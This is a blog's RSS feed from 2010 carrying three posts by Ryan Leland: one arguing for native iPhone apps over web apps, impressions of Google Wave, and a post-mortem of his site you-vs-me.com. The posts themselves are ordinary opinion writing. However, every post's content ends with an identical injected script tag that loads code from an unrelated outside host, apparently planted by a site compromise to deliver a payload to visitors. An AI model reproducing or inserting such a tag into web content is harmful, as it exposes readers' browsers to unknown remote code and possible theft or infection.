<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ryan IRL &#187; Web</title>
	<atom:link href="http://ryanleland.com/category/web/feed/" rel="self" type="application/rss+xml" />
	<link>http://ryanleland.com</link>
	<description>I love technology.</description>
	<lastBuildDate>Mon, 26 Jul 2010 01:00:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>iPhone developers aren&#8217;t stupid.</title>
		<link>http://ryanleland.com/2009/11/iphone-developers-arent-stupid-consumers-know-what-they-are-willing-to-pay-for/</link>
		<comments>http://ryanleland.com/2009/11/iphone-developers-arent-stupid-consumers-know-what-they-are-willing-to-pay-for/#comments</comments>
		<pubDate>Tue, 24 Nov 2009 03:01:15 +0000</pubDate>
		<dc:creator>Ryan Leland</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Cocoa]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://ryanleland.com/?p=39</guid>
		<description><![CDATA[Consumers just know what they want. This morning I read an article that pissed me off. It pissed me off because there were parts I agreed with, and it pissed me off because so much of the community agreed with the parts I didn&#8217;t. It was also frustrating because I couldn&#8217;t quite express just why [...]]]></description>
			<content:encoded><![CDATA[<h2>Consumers just know what they want.</h2>
<p>This morning I read <a href="http://www.quirksmode.org/blog/archives/2009/11/apple_is_not_ev.html">an article that pissed me off</a>. It pissed me off because there were parts I agreed with, and it pissed me off because <a href="http://news.ycombinator.com/item?id=957314">so much of the community agreed with</a> the parts I didn&#8217;t. It was also frustrating because I couldn&#8217;t quite express just why it frustrated me so much, but now I can. The article made some big statements about app developers, and even bigger assumptions about what consumers want.</p>
<p>I happen to have written some cocoa, and even a few web apps in my time, and frankly, there are downsides on either side of the fence. It&#8217;s no doubt that the web has caught up to desktop applications in a pretty big way in the last 3-4 years. There was a time I would have never considered paying for a web application, let alone think of it as replacing a desktop app. Apps like Google docs, and a few <a href="http://lifetick.com/">productivity apps</a> have proven me wrong.</p>
<p>There are still some good reasons for native apps though, and the sales figures on Apples app store speak for themselves. I think consumers might actually know what they want.</p>
<h2>1. Convenience</h2>
<p>On the app store, you can buy an application in seconds, and usually for the price of a coffee. On the web, it might mean a sign-up process, and usually involves digging out a credit card or paypal password. There is effort required for something that should be serving you. Pricing is also a part of this. I&#8217;d rather pay $1.99 for an app a might only try for a few minutes, than spend $20+ a year for subscription I might have to remember to cancel in a few months. I&#8217;d rather throw a dice than make a commitment.</p>
<h2>2. Experience</h2>
<p>The other aspect is user experience. If I am using iPhone apps, I expect each application to behave in a certain way, and have a certain look. If I see a table view in 5 different apps, I know they are going to behave in the same way. I&#8217;m willing to pay a few bucks for that. On the web, you are at the mercy of what the developer thinks UI should behave like. Performance is also a pretty big part of this. I don&#8217;t have to wait for UI images, CSS, or javascript to load before I can start using most native apps. It&#8217;s usually just there when I want it. I know arguments can be made for local caching, and optimization, but that&#8217;s assuming a lot about the skills of the developer, and generally comes as an after thought.</p>
<h2>3. Ownership</h2>
<p>This is probably my lamest argument of all, but it&#8217;s hard to deny it&#8217;s importance. I like the feeling that an app is downloaded to my device all tucked away in the filesystem with my preferences in a (mostly) secure location. With a web app, I&#8217;m at the mercy of the developer deciding his app isn&#8217;t paying the server bills, the network going down, and my personal information being who knows where.</p>
<h2>These aren&#8217;t significant issues.</h2>
<p>I really believe in the web as a platform, but I also think that the line between native apps and &#8220;the cloud&#8221; is starting to fade.  As a developer, the biggest difference is the tools and the delivery. I happen to think that building a native app and maintaining it without the worry of infrastructure would be pretty nice for a change. It can also be a joy to use proprietary tools when they are well thought out, and work when you need them to. The app store is necessary, and so is the web. It&#8217;s a great time to be developing for either. Take some time to think about which type of app your customers would want before you begin the bashing.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ryanleland.com/2009/11/iphone-developers-arent-stupid-consumers-know-what-they-are-willing-to-pay-for/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Wave Internets</title>
		<link>http://ryanleland.com/2009/10/new-wave-internets/</link>
		<comments>http://ryanleland.com/2009/10/new-wave-internets/#comments</comments>
		<pubDate>Fri, 16 Oct 2009 04:31:56 +0000</pubDate>
		<dc:creator>Ryan Leland</dc:creator>
				<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://ryanleland.com/?p=36</guid>
		<description><![CDATA[I finally got to play around with Wave tonight, and my only thoughts after shutting it down was, &#8220;Man, email is for losers&#8221;. You know what? It&#8217;s totally a little bit true. That might make you think I&#8217;m saying Google Wave is the greatest thing since Mr. Berners-Lee dropped the www bomb back in&#8217;92, but [...]]]></description>
			<content:encoded><![CDATA[<p>I finally got to play around with Wave tonight, and my only thoughts after shutting it down was, &#8220;Man, email is for losers&#8221;. You know what? It&#8217;s totally a little bit true. That might make you think I&#8217;m saying Google Wave is the greatest thing since Mr. Berners-Lee dropped the www bomb back in&#8217;92, but I&#8217;m not.</p>
<p>I think it&#8217;s going to super useful for people collaborating. I love that Wave can bridge the gap between IM, and email. I hate having to dig through IM conversations to get info, and I also hate missing important info because I didn&#8217;t have my email client open. So, people who say Wave doesn&#8217;t solve a problem don&#8217;t spent a lot of time on the internet.</p>
<p>There&#8217;s so many reasons why Wave won&#8217;t be replacing email though. The type of work I do probably puts me in the top 1% of people who spend ridiculous amounts of time on the internet, and even I could live without Wave. But gosh darn, it&#8217;s<strong> pretty</strong> <strong>neat</strong>. It&#8217;s going to come down to how many people I know that use it, and how good the mobile app will be. If nothing else, Wave is a pretty big step forward, and pushes a lot of the bounds of what  even the most web 2.0 people thought was possible.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ryanleland.com/2009/10/new-wave-internets/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Post Mortem: you-vs-me.com</title>
		<link>http://ryanleland.com/2009/08/post-mortem-you-vs-me-com/</link>
		<comments>http://ryanleland.com/2009/08/post-mortem-you-vs-me-com/#comments</comments>
		<pubDate>Sun, 02 Aug 2009 15:55:07 +0000</pubDate>
		<dc:creator>Ryan Leland</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[IRL]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://ryanleland.com/?p=24</guid>
		<description><![CDATA[Summary About 5 months ago now, I launched my little social networking experiment called you-vs-me.com. The idea was that people could create discussions, and vote on things they prefer. Using that data, I would work hard at calculating compatibility. It seemed simple to create, and it looked as though it would be a web app [...]]]></description>
			<content:encoded><![CDATA[<h2>Summary</h2>
<p>About 5 months ago now, I launched my little social networking experiment called <a href="http://you-vs-me.com" target="_blank">you-vs-me.com</a>. The idea was that people could create discussions, and vote on things they prefer. Using that data, I would work hard at calculating compatibility. It seemed simple to create, and it looked as though it would be a web app that would get people talking.</p>
<h2>What went right</h2>
<p>I was right about a few things. It <em>was</em> a good idea (for the most part). The design looked inviting, and I got compliments that the app didn&#8217;t look like it was made by one guy in his free time. The app was fairly simple to use, and the user interactions seemed meaningful. I was also right that it got people talking. The <a href="http://twitter.com/you_vs_me" target="_blank">Twitter integration</a> brought me the majority of my traffic, and even got me some <a href="http://www.metronews.ca/edmonton/local/article/202481--opinions-in-cyberspace" target="_blank">media attention</a>. The first month had me thinking that my idea was taking off as planned.</p>
<h2>What went wrong</h2>
<p>There are a lot of things I didn&#8217;t do right. One of the worst things I did was removing the invite codes too early. I found that it was way easier to market you-vs-me as a closed beta app that was invite only. The other things I did wrong was not using a service like Facebook connect, or <a href="http://openid.net/" target="_blank">OpenID</a>, and not utilizing Twitter to its full potential. I spent too much time thinking about how my app would scale if it got popular, than trying to help it get popular. I think that&#8217;s probably a common mistake when a developer sees some early success, but it&#8217;s so much easier to just pay a little more for hosting (which I did too).</p>
<p>Unfortunately, even if I had done all of the above right, I think that the concept of the site was just too limiting. I had not given people enough reason to sign in. The app could have been better executed as a powerful API, and Facebook app. But even then, the compatibility algorithm I had created was weak at best, and quite buggy early on. My plan was to use my smoke and mirrors parlor trick compatibility calculation until I could make something compelling. What could have been the focal point of the app just wasn&#8217;t powerful enough to convince anyone.</p>
<h2>Conclusion</h2>
<p>I can feel pretty good that I made a quality application that gave me some great programming, business, and marketing experience. I&#8217;m still looking for the next great idea, and right now I&#8217;m still not sure what direction to go. Whether I am going towards mobile, web, or some sort of business service as my next side project, I think I learned some valuable lessons.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ryanleland.com/2009/08/post-mortem-you-vs-me-com/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>
